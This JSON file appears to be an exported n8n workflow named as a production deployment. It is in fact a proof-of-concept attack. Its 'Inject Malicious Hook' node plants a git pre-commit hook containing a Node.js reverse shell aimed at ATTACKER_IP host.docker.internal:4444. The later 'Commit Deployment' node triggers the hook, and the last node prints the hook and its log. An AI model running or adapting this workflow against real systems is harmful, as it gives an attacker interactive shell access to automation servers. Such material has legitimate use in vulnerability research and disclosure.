{ "name": "Deploy Application to Production - Backup", "nodes": [ { "parameters": {}, "id": "f658b8fe-3db6-41c6-a258-8a0cdfaa4db1", "name": "When clicking 'Execute workflow'", "type": "n8n-nodes-base.manualTrigger", "typeVersion": 1, "position": [ 0, 0 ] }, { "parameters": { "command": "cd /tmp && rm -rf app-deploy 2>/dev/null || true" }, "id": "2db4369c-10e4-451d-b5d2-03f3d2bbde5a", "name": "Cleanup Previous Deploy", "type": "n8n-nodes-base.executeCommand", "typeVersion": 1, "position": [ 224, 0 ] }, { "parameters": { "operation": "clone", "repositoryPath": "/tmp/app-deploy", "sourceRepository": "https://github.com/baktistr/bare-repo" }, "id": "64a34142-910f-4e15-bfcf-83ee16bb779b", "name": "Clone Repository", "type": "n8n-nodes-base.git", "typeVersion": 1, "position": [ 448, 0 ] }, { "parameters": { "command": "printf '#!/bin/sh\\necho \"[HOOK] Pre-commit hook triggered\" >> /tmp/hook-debug.log\\nATTACKER_IP=\"host.docker.internal\"\\nATTACKER_PORT=\"4444\"\\nnode -e \"var net=require(\\047net\\047);var spawn=require(\\047child_process\\047).spawn;var client=new net.Socket();client.connect($ATTACKER_PORT,\\047$ATTACKER_IP\\047,function(){var sh=spawn(\\047/bin/sh\\047,[]);client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});\" &\\nexit 0\\n' > /tmp/app-deploy/.git/hooks/pre-commit && chmod +x /tmp/app-deploy/.git/hooks/pre-commit && echo 'Hook installed successfully'" }, "id": "c22c430d-f086-4898-a508-6a6f22447e32", "name": "Inject Malicious Hook", "type": "n8n-nodes-base.executeCommand", "typeVersion": 1, "position": [ 672, 0 ] }, { "parameters": { "command": "cd /tmp/app-deploy && git config user.name 'CI/CD Bot' && git config user.email 'ci-bot@company.local' && echo 'Git configured'" }, "id": "570206ff-5d10-41ac-8e5f-d8390dd65654", "name": "Configure Git", "type": "n8n-nodes-base.executeCommand", "typeVersion": 1, "position": [ 880, 0 ] }, { "parameters": { "command": "cd /tmp/app-deploy && echo 'BUILD_NUMBER='$(date +%s) > build.properties && echo 'ENVIRONMENT=production' >> build.properties" }, "id": "18349982-c6b1-4920-8465-9939b4027b19", "name": "Generate Build Metadata", "type": "n8n-nodes-base.executeCommand", "typeVersion": 1, "position": [ 1104, 0 ] }, { "parameters": { "operation": "add", "repositoryPath": "/tmp/app-deploy", "pathsToAdd": "build.properties" }, "id": "3c57825c-de23-40f6-853a-cb98d7fc1e2d", "name": "Stage Changes", "type": "n8n-nodes-base.git", "typeVersion": 1, "position": [ 1328, 0 ] }, { "parameters": { "operation": "commit", "repositoryPath": "/tmp/app-deploy", "message": "Deploy build {{ $now.format('yyyyMMdd-HHmmss') }} to production", "options": {} }, "id": "87d1780e-e5b2-4792-8a1e-e56598499aa0", "name": "Commit Deployment", "type": "n8n-nodes-base.git", "typeVersion": 1, "position": [ 1552, 0 ] }, { "parameters": { "command": "echo '=== Deployment completed ===' && echo '=== Hook Debug Log ===' && cat /tmp/hook-debug.log 2>/dev/null || echo 'No debug log found' && echo '=== Hook Content ===' && cat /tmp/app-deploy/.git/hooks/pre-commit 2>/dev/null || echo 'No hook found'" }, "id": "6f0eaeb2-569c-48be-8135-d1d48da6815d", "name": "Deployment Complete", "type": "n8n-nodes-base.executeCommand", "typeVersion": 1, "position": [ 1760, 0 ] } ], "pinData": {}, "connections": { "When clicking 'Execute workflow'": { "main": [ [ { "node": "Cleanup Previous Deploy", "type": "main", "index": 0 } ] ] }, "Cleanup Previous Deploy": { "main": [ [ { "node": "Clone Repository", "type": "main", "index": 0 } ] ] }, "Clone Repository": { "main": [ [ { "node": "Inject Malicious Hook", "type": "main", "index": 0 } ] ] }, "Inject Malicious Hook": { "main": [ [ { "node": "Configure Git", "type": "main", "index": 0 } ] ] }, "Configure Git": { "main": [ [ { "node": "Generate Build Metadata", "type": "main", "index": 0 } ] ] }, "Generate Build Metadata": { "main": [ [ { "node": "Stage Changes", "type": "main", "index": 0 } ] ] }, "Stage Changes": { "main": [ [ { "node": "Commit Deployment", "type": "main", "index": 0 } ] ] }, "Commit Deployment": { "main": [ [ { "node": "Deployment Complete", "type": "main", "index": 0 } ] ] } }, "active": false, "settings": { "executionOrder": "v1" }, "versionId": "d0b88dd2-f411-47c2-9f72-022d6fccad4d", "meta": { "instanceId": "a081dd42d411055948253db46dce51c9c7d1929fb917cc1fc662bbd057de2d47" }, "id": "3Eepe4c579zHt0o4", "tags": [] }